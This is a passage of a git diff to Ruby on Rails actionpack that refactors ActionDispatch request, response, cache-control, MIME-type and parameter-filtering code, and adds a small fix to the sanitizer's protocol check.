     def contains_bad_protocols?(attr_name, value)
       uri_attributes.include?(attr_name) &&
-      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(%|&#37;)3A/ && !allowed_protocols.include?(value.split(protocol_separator).first.downcase))
+      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(%|&#37;)3A/ && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
     end
   end
 end
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
index c252e01cf5..8ac8d34430 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
@@ -23,7 +23,7 @@ module HTML #:nodoc:
 
     # Create a new Tokenizer for the given text.
     def initialize(text)
-      text.encode! if text.encoding_aware?
+      text.encode!
       @scanner = StringScanner.new(text)
       @position = 0
       @line = 0
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 1e92d14542..57b4678add 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2011 David Heinemeier Hansson
+# Copyright (c) 2004-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -21,17 +21,11 @@
 # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 #++
 
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
-
-activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
-$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
-
 require 'active_support'
-require 'active_support/dependencies/autoload'
+require 'active_support/rails'
+require 'active_support/core_ext/module/attribute_accessors'
 
 require 'action_pack'
-require 'active_model'
 require 'rack'
 
 module Rack
@@ -41,9 +35,14 @@ end
 module ActionDispatch
   extend ActiveSupport::Autoload
 
-  autoload_under 'http' do
-    autoload :Request
-    autoload :Response
+  class IllegalStateError < StandardError
+  end
+
+  eager_autoload do
+    autoload_under 'http' do
+      autoload :Request
+      autoload :Response
+    end
   end
 
   autoload_under 'middleware' do
@@ -51,17 +50,19 @@ module ActionDispatch
     autoload :BestStandardsSupport
     autoload :Callbacks
     autoload :Cookies
+    autoload :DebugExceptions
+    autoload :ExceptionWrapper
     autoload :Flash
     autoload :Head
     autoload :ParamsParser
+    autoload :PublicExceptions
     autoload :Reloader
     autoload :RemoteIp
-    autoload :Rescue
     autoload :ShowExceptions
+    autoload :SSL
     autoload :Static
   end
 
-  autoload :ClosedError, 'action_dispatch/middleware/closed_error'
   autoload :MiddlewareStack, 'action_dispatch/middleware/stack'
   autoload :Routing
 
@@ -86,6 +87,8 @@ module ActionDispatch
     autoload :CacheStore,    'action_dispatch/middleware/session/cache_store'
   end
 
+  mattr_accessor :test_app
+
   autoload_under 'testing' do
     autoload :Assertions
     autoload :Integration
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
index aaed0d750f..a7f93b780e 100644
--- a/actionpack/lib/action_dispatch/http/cache.rb
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -1,17 +1,20 @@
-require 'active_support/core_ext/object/blank'
 
 module ActionDispatch
   module Http
     module Cache
       module Request
+
+        HTTP_IF_MODIFIED_SINCE = 'HTTP_IF_MODIFIED_SINCE'.freeze
+        HTTP_IF_NONE_MATCH     = 'HTTP_IF_NONE_MATCH'.freeze
+
         def if_modified_since
-          if since = env['HTTP_IF_MODIFIED_SINCE']
+          if since = env[HTTP_IF_MODIFIED_SINCE]
             Time.rfc2822(since) rescue nil
           end
         end
 
         def if_none_match
-          env['HTTP_IF_NONE_MATCH']
+          env[HTTP_IF_NONE_MATCH]
         end
 
         def not_modified?(modified_at)
@@ -43,36 +46,74 @@ module ActionDispatch
         alias :etag? :etag
 
         def last_modified
-          if last = headers['Last-Modified']
+          if last = headers[LAST_MODIFIED]
             Time.httpdate(last)
           end
         end
 
         def last_modified?
-          headers.include?('Last-Modified')
+          headers.include?(LAST_MODIFIED)
         end
 
         def last_modified=(utc_time)
-          headers['Last-Modified'] = utc_time.httpdate
+          headers[LAST_MODIFIED] = utc_time.httpdate
+        end
+
+        def date
+          if date_header = headers['Date']
+            Time.httpdate(date_header)
+          end
+        end
+
+        def date?
+          headers.include?('Date')
+        end
+
+        def date=(utc_time)
+          headers['Date'] = utc_time.httpdate
         end
 
         def etag=(etag)
           key = ActiveSupport::Cache.expand_cache_key(etag)
-          @etag = self["ETag"] = %("#{Digest::MD5.hexdigest(key)}")
+          @etag = self[ETAG] = %("#{Digest::MD5.hexdigest(key)}")
         end
 
       private
 
-        def prepare_cache_control!
-          @cache_control = {}
-          @etag = self["ETag"]
+        LAST_MODIFIED = "Last-Modified".freeze
+        ETAG          = "ETag".freeze
+        CACHE_CONTROL = "Cache-Control".freeze
+        SPESHUL_KEYS  = %w[extras no-cache max-age public must-revalidate]
+
+        def cache_control_segments
+          if cache_control = self[CACHE_CONTROL]
+            cache_control.delete(' ').split(',')
+          else
+            []
+          end
+        end
 
-          if cache_control = self["Cache-Control"]
-            cache_control.split(/,\s*/).each do |segment|
-              first, last = segment.split("=")
-              @cache_control[first.to_sym] = last || true
+        def cache_control_headers
+          cache_control = {}
+
+          cache_control_segments.each do |segment|
+            directive, argument = segment.split('=', 2)
+
+            if SPESHUL_KEYS.include? directive
+              key = directive.tr('-', '_')
+              cache_control[key.to_sym] = argument || true
+            else
+              cache_control[:extras] ||= []
+              cache_control[:extras] << segment
             end
           end
+
+          cache_control
+        end
+
+        def prepare_cache_control!
+          @cache_control = cache_control_headers
+          @etag = self[ETAG]
         end
 
         def handle_conditional_get!
@@ -81,28 +122,42 @@ module ActionDispatch
           end
         end
 
-        DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate"
+        DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate".freeze
+        NO_CACHE              = "no-cache".freeze
+        PUBLIC                = "public".freeze
+        PRIVATE               = "private".freeze
+        MUST_REVALIDATE       = "must-revalidate".freeze
 
         def set_conditional_cache_control!
-          return if self["Cache-Control"].present?
+          control = {}
+          cc_headers = cache_control_headers
+          if extras = cc_headers.delete(:extras)
+            @cache_control[:extras] ||= []
+            @cache_control[:extras] += extras
+            @cache_control[:extras].uniq!
+          end
 
-          control = @cache_control
+          control.merge! cc_headers
+          control.merge! @cache_control
 
           if control.empty?
-            headers["Cache-Control"] = DEFAULT_CACHE_CONTROL
+            headers[CACHE_CONTROL] = DEFAULT_CACHE_CONTROL
           elsif control[:no_cache]
-            headers["Cache-Control"] = "no-cache"
+            headers[CACHE_CONTROL] = NO_CACHE
+            if control[:extras]
+              headers[CACHE_CONTROL] += ", #{control[:extras].join(', ')}"
+            end
           else
             extras  = control[:extras]
             max_age = control[:max_age]
 
             options = []
             options << "max-age=#{max_age.to_i}" if max_age
-            options << (control[:public] ? "public" : "private")
-            options << "must-revalidate" if control[:must_revalidate]
+            options << (control[:public] ? PUBLIC : PRIVATE)
+            options << MUST_REVALIDATE if control[:must_revalidate]
             options.concat(extras) if extras
 
-            headers["Cache-Control"] = options.join(", ")
+            headers[CACHE_CONTROL] = options.join(", ")
           end
         end
       end
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
index 8dd1af7f3d..47cf41cfa3 100644
--- a/actionpack/lib/action_dispatch/http/filter_parameters.rb
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/object/duplicable'
 
@@ -10,8 +9,6 @@ module ActionDispatch
     # value of the params hash and all subhashes is passed to it, the value
     # or key can be replaced using String#replace or similar method.
     #
-    # Examples:
-    #
     #   env["action_dispatch.parameter_filter"] = [:password]
     #   => replaces the value to all keys matching /password/i with "[FILTERED]"
     #
@@ -22,7 +19,6 @@ module ActionDispatch
     #     v.reverse! if k =~ /secret/i
     #   end
     #   => reverses the value to all keys matching /secret/i
-    #
     module FilterParameters
       extend ActiveSupport::Concern
 
@@ -50,7 +46,7 @@ module ActionDispatch
       end
 
       def env_filter
-        parameter_filter_for(Array.wrap(@env["action_dispatch.parameter_filter"]) << /RAW_POST_DATA/)
+        parameter_filter_for(Array(@env["action_dispatch.parameter_filter"]) + [/RAW_POST_DATA/, "rack.request.form_vars"])
       end
 
       def parameter_filter_for(filters)
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
index 505d5560b1..a3bb25f75a 100644
--- a/actionpack/lib/action_dispatch/http/headers.rb
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -1,5 +1,3 @@
-require 'active_support/memoizable'
-
 module ActionDispatch
   module Http
     class Headers < ::Hash
@@ -16,17 +14,18 @@ module ActionDispatch
       end
 
       def [](header_name)
-        if include?(header_name)
-          super
-        else
-          super(env_name(header_name))
-        end
+        super env_name(header_name)
+      end
+
+      def fetch(header_name, default=nil, &block)
+        super env_name(header_name), default, &block
       end
 
       private
-        # Converts a HTTP header name to an environment variable name.
+        # Converts a HTTP header name to an environment variable name if it is
+        # not contained within the headers hash.
         def env_name(header_name)
-          @@env_cache[header_name]
+          include?(header_name) ? header_name : @@env_cache[header_name]
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 5c48a60469..0f98e84788 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
 module ActionDispatch
   module Http
     module MimeNegotiation
@@ -78,6 +80,27 @@ module ActionDispatch
         @env["action_dispatch.request.formats"] = [Mime::Type.lookup_by_extension(parameters[:format])]
       end
 
+      # Sets the \formats by string extensions. This differs from #format= by allowing you
+      # to set multiple, ordered formats, which is useful when you want to have a fallback.
+      #
+      # In this example, the :iphone format will be used if it's available, otherwise it'll fallback
+      # to the :html format.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     before_filter :adjust_format_for_iphone_with_html_fallback
+      #
+      #     private
+      #       def adjust_format_for_iphone_with_html_fallback
+      #         request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+      #       end
+      #   end
+      def formats=(extensions)
+        parameters[:format] = extensions.first.to_s
+        @env["action_dispatch.request.formats"] = extensions.collect do |extension|
+          Mime::Type.lookup_by_extension(extension)
+        end
+      end
+
       # Receives an array of mimes and return the first user sent mime that
       # matches the order array.
       #
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index 8a9f9c4315..fd86966c50 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,6 +1,5 @@
 require 'set'
 require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/object/blank'
 
 module Mime
   class Mimes < Array
@@ -29,6 +28,11 @@ module Mime
     Type.lookup_by_extension(type.to_s)
   end
 
+  def self.fetch(type)
+    return type if type.is_a?(Type)
+    EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k }
+  end
+
   # Encapsulates the notion of a mime type. Can be used at render time, for example, with:
   #
   #   class PostsController < ActionController::Base
@@ -38,7 +42,7 @@ module Mime
   #       respond_to do |format|
   #         format.html
   #         format.ics { render :text => post.to_ics, :mime_type => Mime::Type["text/calendar"]  }
-  #         format.xml { render :xml => @people.to_xml }
+  #         format.xml { render :xml => @people }
   #       end
   #     end
   #   end
@@ -53,6 +57,8 @@ module Mime
     cattr_reader :browser_generated_types
     attr_reader :symbol
 
+    @register_callbacks = []
+
     # A simple helper class used in parsing the accept header
     class AcceptItem #:nodoc:
       attr_accessor :order, :name, :q
@@ -82,6 +88,11 @@ module Mime
     class << self
 
       TRAILING_STAR_REGEXP = /(text|application)\/\*/
+      PARAMETER_SEPARATOR_REGEXP = /;\s*\w+="?\w+"?/
+
+      def register_callback(&block)
+        @register_callbacks << block
+      end
 
       def lookup(string)
         LOOKUP[string]
@@ -98,16 +109,22 @@ module Mime
       end
 
       def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)
-        Mime.const_set(symbol.to_s.upcase, Type.new(string, symbol, mime_type_synonyms))
+        Mime.const_set(symbol.upcase, Type.new(string, symbol, mime_type_synonyms))
 
-        SET << Mime.const_get(symbol.to_s.upcase)
+        new_mime = Mime.const_get(symbol.upcase)
+        SET << new_mime
 
         ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = SET.last } unless skip_lookup
-        ([symbol.to_s] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext] = SET.last }
+        ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = SET.last }
+
+        @register_callbacks.each do |callback|
+          callback.call(new_mime)
+        end
       end
 
       def parse(accept_header)
         if accept_header !~ /,/
+          accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
           if accept_header =~ TRAILING_STAR_REGEXP
             parse_data_with_trailing_star($1)
           else
@@ -117,7 +134,7 @@ module Mime
           # keep track of creation order to keep the subsequent sort stable
           list, index = [], 0
           accept_header.split(/,/).each do |header|
-            params, q = header.split(/;\s*q=/)
+            params, q = header.split(PARAMETER_SEPARATOR_REGEXP)
             if params.present?
               params.strip!
 
@@ -177,11 +194,11 @@ module Mime
         end
       end
 
-      # input: 'text'
-      # returned value:  [Mime::JSON, Mime::XML, Mime::ICS, Mime::HTML, Mime::CSS, Mime::CSV, Mime::JS, Mime::YAML, Mime::TEXT]
+      # For an input of <tt>'text'</tt>, returns <tt>[Mime::JSON, Mime::XML, Mime::ICS,
+      # Mime::HTML, Mime::CSS, Mime::CSV, Mime::JS, Mime::YAML, Mime::TEXT]</tt>.
       #
-      # input: 'application'
-      # returned value: [Mime::HTML, Mime::JS, Mime::XML, Mime::YAML, Mime::ATOM, Mime::JSON, Mime::RSS, Mime::URL_ENCODED_FORM]
+      # For an input of <tt>'application'</tt>, returns <tt>[Mime::HTML, Mime::JS,
+      # Mime::XML, Mime::YAML, Mime::ATOM, Mime::JSON, Mime::RSS, Mime::URL_ENCODED_FORM]</tt>.
       def parse_data_with_trailing_star(input)
         Mime::SET.select { |m| m =~ input }
       end
@@ -190,9 +207,9 @@ module Mime
       #
       # Usage:
       #
-      # Mime::Type.unregister(:mobile)
+      #   Mime::Type.unregister(:mobile)
       def unregister(symbol)
-        symbol = symbol.to_s.upcase
+        symbol = symbol.upcase
         mime = Mime.const_get(symbol)
         Mime.instance_eval { remove_const(symbol) }
 
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index 3da4f91051..a6b3aee5e7 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -9,7 +9,7 @@ Mime::Type.register "text/calendar", :ics
 Mime::Type.register "text/csv", :csv
 
 Mime::Type.register "image/png", :png, [], %w(png)
-Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe)
+Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
 Mime::Type.register "image/gif", :gif, [], %w(gif)
 Mime::Type.register "image/bmp", :bmp, [], %w(bmp)
 Mime::Type.register "image/tiff", :tiff, [], %w(tif tiff)
diff --git a/actionpack/lib/action_dispatch/http/parameter_filter.rb b/actionpack/lib/action_dispatch/http/parameter_filter.rb
index 1480e8f77c..490b46c990 100644
--- a/actionpack/lib/action_dispatch/http/parameter_filter.rb
+++ b/actionpack/lib/action_dispatch/http/parameter_filter.rb
@@ -20,6 +20,8 @@ module ActionDispatch
         @filters.present?
       end
 
+      FILTERED = '[FILTERED]'.freeze
+
       def compiled_filter
         @compiled_filter ||= begin
           regexps, blocks = compile_filter
@@ -29,7 +31,7 @@ module ActionDispatch
 
             original_params.each do |key, value|
               if regexps.find { |r| key =~ r }
-                value = '[FILTERED]'
+                value = FILTERED
               elsif value.is_a?(Hash)
                 value = filter(value)
               elsif value.is_a?(Array)
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
index ef5d207b26..9a7b5bc8c7 100644
--- a/actionpack/lib/action_dispatch/http/parameters.rb
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -4,6 +4,11 @@ require 'active_support/core_ext/hash/indifferent_access'
 module ActionDispatch
   module Http
     module Parameters
+      def initialize(env)
+        super
+        @symbolized_path_params = nil
+      end
+
       # Returns both GET and POST \parameters in a single hash.
       def parameters
         @env["action_dispatch.request.parameters"] ||= begin
@@ -35,14 +40,16 @@ module ActionDispatch
         @env["action_dispatch.request.path_parameters"] ||= {}
       end
 
+      def reset_parameters #:nodoc:
+        @env.delete("action_dispatch.request.parameters")
+      end
+
     private
 
       # TODO: Validate that the characters are UTF-8. If they aren't,
       # you'll get a weird error down the road, but our form handling
       # should really prevent that from happening
       def encode_params(params)
-        return params unless "ruby".encoding_aware?
-
         if params.is_a?(String)
           return params.force_encoding("UTF-8").encode!
         elsif !params.is_a?(Hash)
diff --git a/actionpack/lib/action_dispatch/http/rack_cache.rb b/actionpack/lib/action_dispatch/http/rack_cache.rb
index cc8edee300..003ae4029d 100644
--- a/actionpack/lib/action_dispatch/http/rack_cache.rb
+++ b/actionpack/lib/action_dispatch/http/rack_cache.rb
@@ -8,8 +8,7 @@ module ActionDispatch
       new
     end
 
-    # TODO: Finally deal with the RAILS_CACHE global
-    def initialize(store = RAILS_CACHE)
+    def initialize(store = Rails.cache)
       @store = store
     end
 
@@ -33,7 +32,7 @@ module ActionDispatch
       new
     end
 
-    def initialize(store = RAILS_CACHE)
+    def initialize(store = Rails.cache)
       @store = store
     end
 
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 7a5237dcf3..d24c7c7f3f 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -17,7 +17,10 @@ module ActionDispatch
     include ActionDispatch::Http::Upload
     include ActionDispatch::Http::URL
 
-    LOCALHOST   = [/^127\.0\.0\.\d{1,3}$/, "::1", /^0:0:0:0:0:0:0:1(%.*)?$/].freeze
+    autoload :Session, 'action_dispatch/request/session'
+
+    LOCALHOST   = Regexp.union [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
+
     ENV_METHODS = %w[ AUTH_TYPE GATEWAY_INTERFACE
         PATH_TRANSLATED REMOTE_HOST
         REMOTE_IDENT REMOTE_USER REMOTE_ADDR
@@ -35,12 +38,15 @@ module ActionDispatch
       METHOD
     end
 
-    def self.new(env)
-      if request = env["action_dispatch.request"] && request.instance_of?(self)
-        return request
-      end
-
+    def initialize(env)
       super
+      @method            = nil
+      @request_method    = nil
+      @remote_ip         = nil
+      @original_fullpath = nil
+      @fullpath          = nil
+      @ip                = nil
+      @uuid              = nil
     end
 
     def key?(key)
@@ -94,33 +100,39 @@ module ActionDispatch
     end
 
     # Is this a GET (or HEAD) request?
-    # Equivalent to <tt>request.request_method == :get</tt>.
+    # Equivalent to <tt>request.request_method_symbol == :get</tt>.
     def get?
       HTTP_METHOD_LOOKUP[request_method] == :get
     end
 
     # Is this a POST request?
-    # Equivalent to <tt>request.request_method == :post</tt>.
+    # Equivalent to <tt>request.request_method_symbol == :post</tt>.
     def post?
       HTTP_METHOD_LOOKUP[request_method] == :post
     end
 
+    # Is this a PATCH request?
+    # Equivalent to <tt>request.request_method == :patch</tt>.
+    def patch?
+      HTTP_METHOD_LOOKUP[request_method] == :patch
+    end
+
     # Is this a PUT request?
-    # Equivalent to <tt>request.request_method == :put</tt>.
+    # Equivalent to <tt>request.request_method_symbol == :put</tt>.
     def put?
       HTTP_METHOD_LOOKUP[request_method] == :put
     end
 
     # Is this a DELETE request?
-    # Equivalent to <tt>request.request_method == :delete</tt>.
+    # Equivalent to <tt>request.request_method_symbol == :delete</tt>.
     def delete?
       HTTP_METHOD_LOOKUP[request_method] == :delete
     end
 
     # Is this a HEAD request?
-    # Equivalent to <tt>request.method == :head</tt>.
+    # Equivalent to <tt>request.request_method_symbol == :head</tt>.
     def head?
-      HTTP_METHOD_LOOKUP[method] == :head
+      HTTP_METHOD_LOOKUP[request_method] == :head
     end
 
     # Provides access to the request's HTTP headers, for example:
@@ -130,10 +142,18 @@ module ActionDispatch
       Http::Headers.new(@env)
     end
 
+    def original_fullpath
+      @original_fullpath ||= (env["ORIGINAL_FULLPATH"] || fullpath)
+    end
+
     def fullpath
       @fullpath ||= super
     end
 
+    def original_url
+      base_url + original_fullpath
+    end
+
     def media_type
       content_mime_type.to_s
     end
@@ -155,24 +175,7 @@ module ActionDispatch
       @ip ||= super
     end
 
-    # Which IP addresses are "trusted proxies" that can be stripped from
-    # the right-hand-side of X-Forwarded-For.
-    #
-    # http://en.wikipedia.org/wiki/Private_network#Private_IPv4_address_spaces.
-    TRUSTED_PROXIES = %r{
-      ^127\.0\.0\.1$                | # localhost
-      ^(10                          | # private IP 10.x.x.x
-        172\.(1[6-9]|2[0-9]|3[0-1]) | # private IP in the range 172.16.0.0 .. 172.31.255.255
-        192\.168                      # private IP 192.168.x.x
-       )\.
-    }x
-
-    # Determines originating IP address. REMOTE_ADDR is the standard
-    # but will fail if the user is behind a proxy. HTTP_CLIENT_IP and/or
-    # HTTP_X_FORWARDED_FOR are set by proxies so check for these if
-    # REMOTE_ADDR is a proxy. HTTP_X_FORWARDED_FOR may be a comma-
-    # delimited list in the case of multiple chained proxies; the last
-    # address which is not trusted is the originating IP.
+    # Originating IP address, usually set by the RemoteIp middleware.
     def remote_ip
       @remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s
     end
@@ -206,7 +209,7 @@ module ActionDispatch
     # variable is already set, wrap it in a StringIO.
     def body
       if raw_post = @env['RAW_POST_DATA']
-        raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)
+        raw_post.force_encoding(Encoding::BINARY)
         StringIO.new(raw_post)
       else
         @env['rack.input']
@@ -230,26 +233,33 @@ module ActionDispatch
     end
 
     def session=(session) #:nodoc:
-      @env['rack.session'] = session
+      Session.set @env, session
     end
 
     def session_options=(options)
-      @env['rack.session.options'] = options
+      Session::Options.set @env, options
     end
 
     # Override Rack's GET method to support indifferent access
     def GET
-      @env["action_dispatch.request.query_parameters"] ||= (normalize_parameters(super) || {})
+      begin
+        @env["action_dispatch.request.query_parameters"] ||= (normalize_parameters(super) || {})
+      rescue TypeError => e
+        raise ActionController::BadRequest, "Invalid query parameters: #{e.message}"
+      end
     end
     alias :query_parameters :GET
 
     # Override Rack's POST method to support indifferent access
     def POST
-      @env["action_dispatch.request.request_parameters"] ||= (normalize_parameters(super) || {})
+      begin
+        @env["action_dispatch.request.request_parameters"] ||= (normalize_parameters(super) || {})
+      rescue TypeError => e
+        raise ActionController::BadRequest, "Invalid request parameters: #{e.message}"
+      end
     end
     alias :request_parameters :POST
 
-
     # Returns the authorization header regardless of whether it was specified directly or through one of the
     # proxy alternatives.
     def authorization
@@ -261,7 +271,28 @@ module ActionDispatch
 
     # True if the request came from localhost, 127.0.0.1.
     def local?
-      LOCALHOST.any? { |local_ip| local_ip === remote_addr && local_ip === remote_ip }
+      LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
+    end
+
+    protected
+
+    # Remove nils from the params hash
+    def deep_munge(hash)
+      hash.each_value do |v|
+        case v
+        when Array
+          v.grep(Hash) { |x| deep_munge(x) }
+          v.compact!
+        when Hash
+          deep_munge(v)
+        end
+      end
+
+      hash
+    end
+
+    def parse_query(qs)
+      deep_munge(super)
     end
 
     private
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index f1e85559a3..11b7534ea4 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,7 +1,6 @@
 require 'digest/md5'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/class/attribute_accessors'
+require 'monitor'
 
 module ActionDispatch # :nodoc:
   # Represents an HTTP response generated by a controller action. Use it to
@@ -29,7 +28,7 @@ module ActionDispatch # :nodoc:
   #  class DemoControllerTest < ActionDispatch::IntegrationTest
   #    def test_print_root_path_to_console
   #      get('/')
-  #      puts @response.body
+  #      puts response.body
   #    end
   #  end
   class Response
@@ -41,7 +40,7 @@ module ActionDispatch # :nodoc:
     alias_method :headers,  :header
 
     delegate :[], :[]=, :to => :@header
-    delegate :each, :to => :@body
+    delegate :each, :to => :@stream
 
     # Sets the HTTP response's content MIME type. For example, in the controller
     # you could write this:
@@ -51,25 +50,68 @@ module ActionDispatch # :nodoc:
     # If a character set has been defined for this response (see charset=) then
     # the character set information will also be included in the content type
     # information.
-    attr_accessor :charset, :content_type
+    attr_accessor :charset
+    attr_reader   :content_type
 
-    CONTENT_TYPE = "Content-Type"
+    CONTENT_TYPE = "Content-Type".freeze
+    SET_COOKIE   = "Set-Cookie".freeze
+    LOCATION     = "Location".freeze
 
     cattr_accessor(:default_charset) { "utf-8" }
+    cattr_accessor(:default_headers)
 
     include Rack::Response::Helpers
     include ActionDispatch::Http::Cache::Response
+    include MonitorMixin
+
+    class Buffer # :nodoc:
+      def initialize(response, buf)
+        @response = response
+        @buf      = buf
+        @closed   = false
+      end
+
+      def write(string)
+        raise IOError, "closed stream" if closed?
+
+        @response.commit!
+        @buf.push string
+      end
+
+      def each(&block)
+        @buf.each(&block)
+      end
+
+      def close
+        @response.commit!
+        @closed = true
+      end
+
+      def closed?
+        @closed
+      end
+    end
+
+    attr_reader :stream
 
     def initialize(status = 200, header = {}, body = [])
+      super()
+
+      header = merge_default_headers(header, self.class.default_headers)
+
       self.body, self.header, self.status = body, header, status
 
       @sending_file = false
-      @blank = false
+      @blank        = false
+      @cv           = new_cond
+      @committed    = false
+      @content_type = nil
+      @charset      = nil
 
-      if content_type = self["Content-Type"]
+      if content_type = self[CONTENT_TYPE]
         type, charset = content_type.split(/;\s*charset=/)
         @content_type = Mime::Type.lookup(type)
-        @charset = charset || "UTF-8"
+        @charset = charset || self.class.default_charset
       end
 
       prepare_cache_control!
@@ -77,10 +119,31 @@ module ActionDispatch # :nodoc:
       yield self if block_given?
     end
 
+    def await_commit
+      synchronize do
+        @cv.wait_until { @committed }
+      end
+    end
+
+    def commit!
+      synchronize do
+        @committed = true
+        @cv.broadcast
+      end
+    end
+
+    def committed?
+      @committed
+    end
+
     def status=(status)
       @status = Rack::Utils.status_code(status)
     end
 
+    def content_type=(content_type)
+      @content_type = content_type.to_s
+    end
+
     # The response code of the request
     def response_code
       @status
@@ -98,20 +161,20 @@ module ActionDispatch # :nodoc:
 
     def respond_to?(method)
       if method.to_sym == :to_path
-        @body.respond_to?(:to_path)
+        stream.respond_to?(:to_path)
       else
         super
       end
     end
 
     def to_path
-      @body.to_path
+      stream.to_path
     end
 
     def body
-      str = ''
-      each { |part| str << part.to_s }
-      str
+      strings = []
+      each { |part| strings << part.to_s }
+      strings.join
     end
 
     EMPTY = " "
@@ -119,18 +182,17 @@ module ActionDispatch # :nodoc:
     def body=(body)
       @blank = true if body == EMPTY
 
-      # Explicitly check for strings. This is *wrong* theoretically
-      # but if we don't check this, the performance on string bodies
-      # is bad on Ruby 1.8 (because strings responds to each then).
-      @body = if body.respond_to?(:to_str) || !body.respond_to?(:each)
-        [body]
+      if body.respond_to?(:to_path)
+        @stream = body
       else
-        body
+        @stream = build_buffer self, munge_body_object(body)
       end
     end
 
     def body_parts
-      @body
+      parts = []
+      @stream.each { |x| parts << x }
+      parts
     end
 
     def set_cookie(key, value)
@@ -142,30 +204,20 @@ module ActionDispatch # :nodoc:
     end
 
     def location
-      headers['Location']
+      headers[LOCATION]
     end
     alias_method :redirect_url, :location
 
     def location=(url)
-      headers['Location'] = url
+      headers[LOCATION] = url
     end
 
     def close
-      @body.close if @body.respond_to?(:close)
+      stream.close if stream.respond_to?(:close)
     end
 
     def to_a
-      assign_default_content_type_and_charset!
-      handle_conditional_get!
-
-      @header["Set-Cookie"] = @header["Set-Cookie"].join("\n") if @header["Set-Cookie"].respond_to?(:join)
-
-      if [204, 304].include?(@status)
-        @header.delete "Content-Type"
-        [@status, @header, []]
-      else
-        [@status, @header, self]
-      end
+      rack_response @status, @header.to_hash
     end
     alias prepare! to_a
     alias to_ary   to_a # For implicit splat on 1.9.2
@@ -175,7 +227,7 @@ module ActionDispatch # :nodoc:
     #   assert_equal 'AuthorOfNewPage', r.cookies['author']
     def cookies
       cookies = {}
-      if header = self["Set-Cookie"]
+      if header = self[SET_COOKIE]
         header = header.split("\n") if header.respond_to?(:to_str)
         header.each do |cookie|
           if pair = cookie.split(';').first
@@ -189,7 +241,21 @@ module ActionDispatch # :nodoc:
 
   private
 
-    def assign_default_content_type_and_charset!
+    def merge_default_headers(original, default)
+      return original unless default.respond_to?(:merge)
+
+      default.merge(original)
+    end
+
+    def build_buffer(response, body)
+      Buffer.new response, body
+    end
+
+    def munge_body_object(body)
+      body.respond_to?(:each) ? body : [body]
+    end
+
